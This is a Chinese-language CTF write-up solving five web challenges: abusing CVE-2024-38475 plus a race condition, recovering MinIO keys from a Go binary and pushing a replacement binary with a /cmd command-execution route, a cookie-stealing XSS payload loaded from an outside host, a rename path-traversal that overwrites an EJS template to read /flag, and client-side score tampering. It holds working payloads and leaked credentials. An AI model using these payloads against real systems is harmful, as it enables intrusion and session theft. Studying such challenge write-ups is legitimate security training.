WEB5-38475 角落

解题思路

利用CVE-2024-38475和题目给的app.conf进行读取源码,阅读源码得到条件竞争漏洞存在

获取源码

首先,目录扫描可以发现题目中有robots.txt,发现app.conf的配置文件


app.conf中记录了一些配置信息


可以看到有三点关键信息。

# Include by httpd.conf
<Directory "/usr/local/apache2/app">  //这段记录了目录文件的配置
    Options Indexes                   //允许在该目录下显示目录列表
    AllowOverride None                //不允许.htaccess文件覆盖此配置
    Require all granted               //允许所以用户访问该目录没有限制
</Directory>   

<Files "/usr/local/apache2/app/app.py">  //这段是专门对源码app.py进行的限制
    Order Allow,Deny                     //首先会检查Allow规则,然后检查Deny规则
    Deny from all                        //静止所以用户访问这个文件
</Files>

RewriteEngine On                                  //将重写规则打开
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"        //User_Agent要为L1nk会应用重写规则  
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"//表示路由要为/admin/开始会触发重写规则

ProxyPass "/app/" "http://127.0.0.1:5000/"     //泄露了为flask框架的常用路由

由上面的配置,以及题目名字可以发现CVE-2024-38475的Apache配置不当漏洞。

所以由配置进行构造访问请求,可以得到源代码

源码如下

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
    filename = pwd + "/tmp/message.txt"
    if os.path.exists(filename):
        f = open(filename, 'r')
        message = f.read()
        f.close()
        return message
    else:
        return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
    status = request.args.get('status')
    if status is None:
        status = ''
    return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
    filename = pwd + "/tmp/message.txt"
    message = request.form['message']

    f = open(filename, 'w')
    f.write(message) 
    f.close()

    return redirect('index?status=Send successfully!!')
    
@app.route('/read', methods=['GET'])
def read_message():
    if "{" not in readmsg():
        show = show_msg.replace("{{message}}", readmsg())
        return render_template_string(show)
    return 'waf!!'
    

if __name__ == '__main__':
    app.run(host = '0.0.0.0', port = 5000)

漏洞发现及解题

接着可以进行代码的审计,其实可以发现,代码的逻辑并不难,就是/send路由进行发送到message.txt,然后/read路由进行文件内容的渲染。

其中waf过滤了 ,看上去好像没有我已知的绕过方法。

但是,可以发现这俩个路由并没有文件锁以及异常的处理,所以可能会出现文件读取和写入的不同步

由此进行条件竞争即可读到flag。

send路由设置

/read路由设置

得到flag

WEB-4 双面人派对

知识点

go语言逆向,mc连接MinIO管理端,mc的基本用法,gin框架代码编写

解题

首先,题目给了俩个靶机,一个web端进得去,一个进不去。

进得去的给了一个main文件

丢进linux运行一下,可以发现有gin报错信息,以及连接9000端口失败的信息

可以猜测,这个文件时go语言linux编译之后的文件,并且通过连接信息可以判断另外一个靶机为minio管理端,所以其中必然有连接管理端的认证key,脱壳并使用ghidra逆向一下去查找key

逆向程序查找key

首先是脱壳

这里使用upx进行脱壳

upx >upx -d main

然后将脱壳完成的main程序放入Ghidra中进行查找,由于目标为127.0.0.1的9000端口所以猜测key会与目标ip位于一个流量包内

Ghidra有全局搜索功能,直接搜索127.0.0.1

可以看到目标数据

得到key

"minio:\r\n  endpoint: \"127.0.0.1:9000\"\r\n  access_key: \"minio_admin\"\r\n  secret_key: \"JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=\"\r\n  bucket: \"prodbucket\"\r\n  key: \"update\" "

连接minio

首先下载mc管理器,然后进行连接

wget https://dl.min.io/client/mc/release/linux-amd64/mc

chmod +x mc

sudo mv mc /usr/local/bin/

然后使用mc和之前得到的key进行连接第二台靶机

mc alias set myminio http://node1.hgame.vidar.club:30247 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=

可以看到连接成功了

然后可以查看其中的代码,以及下载hint

mc ls myminio/hints

mc mirror myminio/hints src.zip

其中主函数如下

package main

import (
    "level25/fetch"

    "level25/conf"

    "github.com/gin-gonic/gin"
    "github.com/jpillora/overseer"
)

func main() {
    fetcher := &fetch.MinioFetcher{
        Bucket:    conf.MinioBucket,
        Key:       conf.MinioKey,
        Endpoint:  conf.MinioEndpoint,
        AccessKey: conf.MinioAccessKey,
        SecretKey: conf.MinioSecretKey,
    }
    overseer.Run(overseer.Config{
        Program: program,
        Fetcher: fetcher,
    })

}

func program(state overseer.State) {
    g := gin.Default()
    g.StaticFS("/", gin.Dir(".", true))
    g.Run(":8080")
}

文件替代并得到flag

所以我们对main函数进行更改

添加一个cmd路由,并且写好可以执行命令的语句,代码如下

package main

import (

"src/fetch"

"src/conf"

"fmt"

"os/exec"

"github.com/gin-gonic/gin"

"github.com/jpillora/overseer"
)

func main() {

fetcher := &fetch.MinioFetcher{

Bucket: conf.MinioBucket,

Key: conf.MinioKey,

Endpoint: conf.MinioEndpoint,

AccessKey: conf.MinioAccessKey,

SecretKey: conf.MinioSecretKey,

}

overseer.Run(overseer.Config{

Program: program,

Fetcher: fetcher,

})

}

func program(state overseer.State) {

g := gin.Default()

// 添加一个新路由/cmd

g.GET("/cmd", func(c *gin.Context) {

cmdParam := c.DefaultQuery("cmd", "") // 获取查询参数"cmd"

if cmdParam == "" {

c.JSON(400, gin.H{"error": "cmd parameter is required"})

return

}

//执行命令并获取输出

cmd := exec.Command("sh", "-c", cmdParam) //使用sh执行命令

output, err := cmd.CombinedOutput()

//获取标准输出和标准错误

if err != nil {

c.JSON(500, gin.H{"error": fmt.Sprintf("Command execution

failed: %v", err)})

return

}

//返回命令的输出

c.JSON(200, gin.H{"cmd": cmdParam, "output": string(output)})

})

//静态文件路由

g.StaticFS("/file", gin.Dir(".", true))

g.Run(":8080")

}

然后用linux进行编译

当然用Windows也可以

$env:GOOS="linux"
$env:GOARCH="amd64"
go build -o update main.go

编译完成后上传文件

mc cp ./update myminio/prodbucket

然后访问web端的/cmd路由读取flag

Web3-MysteryMessageBoard

解题思路

爆破出shallot密码,上传xss,用admin进行访问,然后获取admin的session访问flag即可

解题

首先,爆破得到shallot的密码888888

登录后进入xss平台https://xssaq.com/project/view/12531

使用xss平台的payload进行上传

<sCRiPt sRC=//xs.pe/CXm></sCrIpT>

输入提交即可,提交成功后页面源代码如下

然后访问/admin模拟admin用户访问

得到admin的session

进行session伪造读取flag

Web2-BandBomb

解题思路

本来以为这道题知识点是上传文件名然后通过ejs进行模版渲染返回到首页,但是尝试过后发现行不通,然后尝试了文件上传,并通过目录穿越替代源代码发现可以通过替代源代码读取flag。

代码理解

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

首先是storage与upload,这俩个函数是用于文件储存和上传的,上传的文件会被存储到
uploads目录下,并且对文件没有过多的限制,传上去的文件也都是原文件名,没有进行更改

然后是首页路由,首页路由主要是通过渲染输出uploads目录中的所有文件名称,漏洞点就在于被渲染的ejs页面可以被上传文件所替代。

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');  // 定义上传文件存储的目录路径
  
  if (!fs.existsSync(uploadsDir)) {  // 如果目录不存在
    fs.mkdirSync(uploadsDir);  // 创建目录
  }

  // 读取 uploads 目录中的文件列表
  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      // 如果读取文件出错,返回 500 错误并渲染 mortis.ejs 页面,文件为空
      return res.status(500).render('mortis', { files: [] });
    }
    // 渲染 mortis.ejs 页面,并将文件列表传递给视图
    res.render('mortis', { files: files });
  });
});

然后是rename路径,通过源码可以发现,对于newname参数,并没有做任何过滤,所以可以直接进行目录穿越,并且可以替代原本的代码。

app.post('/rename', (req, res) => {
  // 获取请求体中的旧文件名和新文件名
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);  // 旧文件的完整路径
  const newPath = path.join(__dirname, 'uploads', newName);  // 新文件的完整路径

  // 如果没有提供旧文件名或新文件名,返回 400 错误
  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  // 使用 fs.rename 来重命名文件
  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      // 如果重命名过程中发生错误,返回 500 错误并附带错误信息
      return res.status(500).json({ error: ' ' + err.message });
    }
    // 重命名成功,返回成功消息
    res.json({ message: ' ' });
  });
});

解题

阅读源代码之后,思路就很清晰了,直接上传一个.ejs文件,再使用rename进行目录穿越,将ejs文件替代被渲染的mortis.ejs文件即可

首先,创建一个a.ejs文件,文件中写明读取flag

<%= process.env.FLAG || require('fs').readFileSync('/flag', 'utf8')%>

然后,正常进行文件上传

成功上传之后,进入rename构造目录穿越的请求

最后访问根目录即可得到flag

Web1-Pacman

解题思路

直接查找得到flag,并进行解密即可

解题

首先,输了之后会返回一个假的flag

然后可以到调试器直接搜索your gift

和上面不一样的就是正确的flag

或者直接更改数据

在控制台输入_SCORE=10000000

然后进行base64解密,与栅栏密码解密即可得到正确flag

栅栏密码的key为2

​